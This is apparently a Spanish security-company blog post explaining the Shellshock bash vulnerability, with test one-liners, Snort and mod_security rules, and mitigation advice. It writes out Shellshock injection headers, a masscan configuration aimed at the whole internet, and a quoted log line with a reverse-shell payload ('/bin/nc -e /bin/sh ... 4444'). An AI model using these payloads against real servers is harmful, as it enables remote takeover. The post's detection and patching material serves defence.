Shellshock. Vulnerabilidad encontrada en Bash

  • 0

Shellshock. Vulnerabilidad encontrada en Bash

ShellShock

La vulnerabilidad llamada CVE-2014-6271o y CVE-2014-7169 o mas conocida como “Shellshock” se publico el día 24/09/14 y pronto salto a las webs y blogs especializados en seguridad. Poco mas tarde al darse cuenta del alcance de la vulnerabilidad salto a los medios de comunicación.

Figura 1: Ejemplo de la noticia en un medio de comunicación "de masas".

Figura 1: Ejemplo de la noticia en un medio de comunicación “de masas”.

Esta vulnerabilidad consiste en usar variables para engañar a un shell tipo bash para que ejecute cualquier tipo de programa o comando. Esta vulnerabilidad afecta a todos o casi todos los sistemas operativos que deriven de unix. Afectando a cualquier servicio que corren en dichos sistemas operativos, como servidores webs, servidores DHCP,  etc. Desde TeamSec les recomendamos urgentemente actualizar sus servidores con los parches del proveedor.

Esta vulnerabilidad es tan critica y se explica por que se la ha catalogado como nivel 10, que es el mas alto, de la escala CVSS v2. Esta escala indica por un lado si la vulnerabilidad es explotable desde el exterior, luego si es fácil de explotar y por último si su explotación pone en peligro la integridad del sistema vulnerable. Esta vulnerabilidad según su rango, es muy fácil de explotar, ademas de ser explotable desde el exterior y su explotación pone gran peligro la integridad del sistema.

Este fallo, en resumen, puede permitir a atacantes malintencionados tomar fácilmente el control de servidores web. Servidores con sistema operativo que usan bash, como linux, MacOS o BSD podrían verse afectados en especial los que tengan servicios de Internet expuestos.

 

¿Cuantos servidores pueden estar afectados?

A modo de ejemplo, y para hacernos una idea de a cuantos servidores puede afectar, en la siguiente gráfica de Netcraft podemos ver el tanto por ciento de utilización de los diferentes servidores webs que están activos. Los datos son de Septiembre del 2014.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Según esos datos, podríamos decir que podrían estar afectados mas del 50% del total de servidores en el mundo.

¿Como saber si un servidor es vulnerable?

En principio es fácil basta en una shell del sistema ejecutar esta pequeña linea.

env x='() { :;}; echo Si sale esta linea su sistema es vulnerable' bash -c "echo Esto es un Test"

La ejecución de esta linea en un sistema vulnerable a este problema seria parecido a esto.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

En cambio, si por el contrario nuestro sistema no es vulnerable nos saldría solo la linea “Esto es un Test”, como podemos comprobar en el siguiente ejemplo.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Ataque tipo vía web

Lo que hemos visto anteriormente era como desde una cuenta local se comprobaba si el servidor era vulnerable. Pero como hemos indicado anteriormente, no solo esta vulnerabilidad puede ser explotada localmente, también puede ser explotada remotamente. Y no hay mejor ejemplo que ver como se puede explotar en un servidor web.

Debe quedar claro, que es un ejemplo el ataque a un servidor web. No solo este tipo de servicios son vulnerables sino que lo son cualquiera que pueda recibir parámetros vía el exterior, como un servidor DCHP, SSH, etc.

Existen una cantidad ingente de exploits que se valen de esta vulnerabilidad para llegar a tener un control total sobre los sistemas vulnerables. Un  ejemplo de este tipo de exploits lo podemos encontrar en esta URL:

http://pastebin.com/search?cx=013305635491195529773%3A0ufpuq-fpt0&cof=FORID%3A10&ie=UTF-8&q=CVE-2014-6271&sa.x=12&sa.y=11

De una manera mas “manual”  el ataque a un servidor web se realiza ademas de metiendo la inyección en la propia petición GET, también se puede realizar en cualquiera del resto de campos que se envían al realizar la solicitud.

Por ejemplo, una solicitud normal a un servidor web seria:

Host: x.x.x.x
Accept: */*
Cookie: NO-Cookie
Referer: http://google.com
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

En cambio si queremos explotar esta vulnerabilidad seria de la siguiente manera:

Host: x.x.x.x
Accept: */*
Cookie: () { :; }; /bin/ping -c 1 
Referer: () { :; }; /bin/ping -c 1 
User-agent: () { :; }; /bin/ping -c 1 

Si esto lo queremos meter en un script para poder comprobar si la red que administramos es vulnerable seria tan sencillo como realizar las pruebas con los siguientes parámetros usando el siguiente script https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120. Eso si, cambiando el valor de la variable “target” por nuestra red, y la IP “1.2.3.4” por una IP de una maquina que controlemos para monitorizar los paquetes ICMP que recibirá de las maquina vulnerables.

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = Shellshock Scan-TeamSec (http://teamsec.es/blog/)
http-header = Cookie:() { :; }; ping -c 3 1.2.3.4
http-header = Host:() { :; }; ping -c 3 1.2.3.4
http-header = Referer:() { :; }; ping -c 3 1.2.3.4

¿Como podemos monitorizar estos ataques?

Como ejemplo de log del Apache de un ataque de este tipo, podemos ver en la siguiente linea intentan explotar la vulnerabilidad ejecutando como comando un shell inverso a la maquina del atacante al puerto 4444 (/bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &).

XXX.XXX.XXX.XXX - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { v:; }; /bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &”

Para monitorizar este tipo de ataques dependemos del tipo de plataforma que usemos para dicha monitorización. Por ejemplo, nosotros tenemos una plataforma que hace poco la hemos instalado en un cliente que a traves de una serie de sondas monitoriza toda su red.

Ejemplos de este tipo de reglas para la sonda Snort que hemos implementado son:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"%3D%28%29+%7B"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31975; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_client_body; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31976; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31977; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31978; rev:3;)
alert udp $HOME_NET 67 -> $HOME_NET 68 (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in DHCP server"; flow:stateless; content:"() {"; fast_pattern:only; content:"|02 01 06 00|"; depth:4; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service dhcp; reference:cve,2014-6271; reference:cve,2014-7169; classtype:attempted-admin; sid:31985; rev:3;)

Mitigación

La principal medida de minimizar los riesgos es la instalación del parche correspondiente. Puede haber sistemas que por la razón que sea, no existe el parche, es un sistema critico que debe pasar una serie de controles antes de la instalación de un parche, etc, nos es imposible el parcheo. En estos casos se podrían implementar contramedidas que paliaran en lo posible un hipotético ataque a la plataforma.

Apache con mod_security

Si disponemos de un servidor Apache con el modulo Mod_security, podemos añadir estas lineas en la configuración para mitigar en la medida de lo  posible este tipo de ataques:

# ShellShock bash vulnerabilidad CVE-2014-6271 y CVE-2014-7169
RewriteCond %{HTTP_USER_AGENT} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_REFERER} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_COOKIE} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_HOST} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_FORWARDED} (()s{s+:s*;s*}s*;)
RewriteRule Block_This_URL - [F,L]

Modificando las varibales que se cargan en el shell .bashrc

Otra manera de mitigar este tipo de problemas es modificando el fichero “~/.bashrc”. Este fichero en un sistema unix es donde se definen las variables de entorno para que el Bash las carge antes de realizar o ejecutar cualquier comando. La ruta “~/” define el HOME del usuario en cuestion.

Deberemos de añadir estas dos lineas al final de dicho fichero con lo que cualquier intento de explotacion de esta vulnerabilidad no lo conseguira.

env x='() { :;}; echo "WARNING: SHELLSHOCK DETECTED"' 
    bash --norc -c ':' 2>/dev/null;

Conclusión

Desde TeamSec creemos que es una vulnerabilidad lo suficientemente importante como para realizar un parcheo del sistema para corregirlo. Por eso les recomendamos que se pongan en contacto con el fabricante para solicitarle asesoramiento y los parches necesarios para corregir el problema.

Al igual que cuando ocurrió con el heartbleed, se ha creado una web para informar sobre la vulnerabilidad. Los efectos que puede ocasionar la explotación de la vulnerabilidad, y sobre todo dan unas nociones de como aplicar los parches a cada uno de los sistemas afectados shellshocker.net.

 

Les recordamos que nuestra empresa estaría encantada de asesorar les para confirmar que sus sistemas son o no vulnerables a este tipo de ataques y después ayudarles a la instalación de los parches o lo que haga falta para hacer sus sistemas y servicios mucho mas seguros.

 

Actualizacion (30/09/2014)

Se han ido encontrando mas vulnerabilidades que tienen que ver con el tipo de Shellshock. La manera de comprobar estas difiere un poco unas de otras pero todas usan de igual manera las variables.

 

Vulnerabilidad Método de prueba
CVE-2014-6271
+env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
CVE-2014-7169
env X='() { (a)=>' bash -c "echo date"; cat echo
CVE-2014-7186
bash -c 'true <
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6277
foo='() { echo "CVE-2014-6277 vulnerable"; }' bash -c foo